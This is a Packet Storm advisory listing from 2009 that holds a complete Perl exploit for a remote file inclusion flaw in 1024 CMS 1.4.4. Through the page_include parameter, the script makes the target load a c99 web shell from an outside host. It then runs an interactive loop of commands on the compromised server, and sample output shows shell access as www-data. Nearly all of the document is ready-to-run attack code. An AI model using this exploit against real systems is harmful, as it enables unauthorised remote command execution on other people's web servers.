1024 CMS 1.4.4 RFI / Command Execution

2009-02-06T00:00:00
ID PACKETSTORM:74732
Type packetstorm
Reporter JosS
Modified 2009-02-06T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
####################################################################  
# 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit  
# download: http://www.trebledesigns.com/1024cms.zip  
#  
# Author: JosS  
# mail: sys-project[at]hotmail[dot]com  
# site: http://www.hack0wn.com/  
# team: Spanish Hackers Team - [SHT]  
#  
# Hack0wn Security Project!!  
#  
# This was written for educational purpose. Use it at your own risk.  
# Author will be not responsible for any damage.  
#  
####################################################################  
#  
# "need" allow_url_include = On && register_globals = On  
#  
# RFI vuln!: [/themes/default/layouts/standard.php]  
# <?php  
# if($page_ck['custom'] == 'N' || isset($page_include)) {  
# if(!isset($page_include)) include("./pages/".$page."/default/content.php");  
# else include($page_include);  
# } else {  
# ...  
#  
####################################################################  
# OUTPUT: (tested on localhost)  
#  
# [shell]:~$ id  
# uid=33(www-data) gid=33(www-data) groups=33(www-data)  
# [shell]:~$ uname -a  
# Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux  
# [shell]:~$ exit  
# h4x0rz:/home/joss/Desktop#  
  
  
use LWP::UserAgent;  
use HTTP::Request;  
use LWP::Simple;  
use Getopt::Long;  
  
sub clear{  
system(($^O eq 'MSWin32') ? 'cls' : 'clear');  
}  
  
&clear();  
  
sub banner {  
&clear();  
print "[x] 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit\n";  
print "[x] Written By JosS\n";  
print "[x] sys-project[at]hotmail[dot]com\n\n";  
print "[+] Usage:\n";  
print "[+] $0 -vuln \"web+path\" -shell \"shell\"\n";  
print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/c99.txt?\"\n\n";  
exit();  
}  
  
my $options = GetOptions (  
'help!' => \$help,   
'vuln=s' => \$vuln,   
'shell=s' => \$shell  
);  
  
&banner unless ($vuln);  
&banner unless ($shell);  
  
&banner if $banner eq 1;  
  
chomp($vuln);  
chomp($shell);  
  
while (){  
  
print "[shell]:~\$ ";  
chomp($cmd=<STDIN>);  
  
if ($cmd eq "exit" || $cmd eq "quit") {  
exit 0;  
}  
  
my $ua = LWP::UserAgent->new;  
$iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";  
chomp($iny);  
my $own = $vuln . "/themes/default/layouts/standard.php?page_include=" . $shell . $iny;  
chomp($own);  
my $req = HTTP::Request->new(GET => $own);  
my $res = $ua->request($req);  
my $con = $res->content;  
if ($res->is_success){  
print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);  
}  
else  
{  
print "[p0c] Exploit failed\n";  
exit(1);  
}  
}  
  
# __h0__  
  
`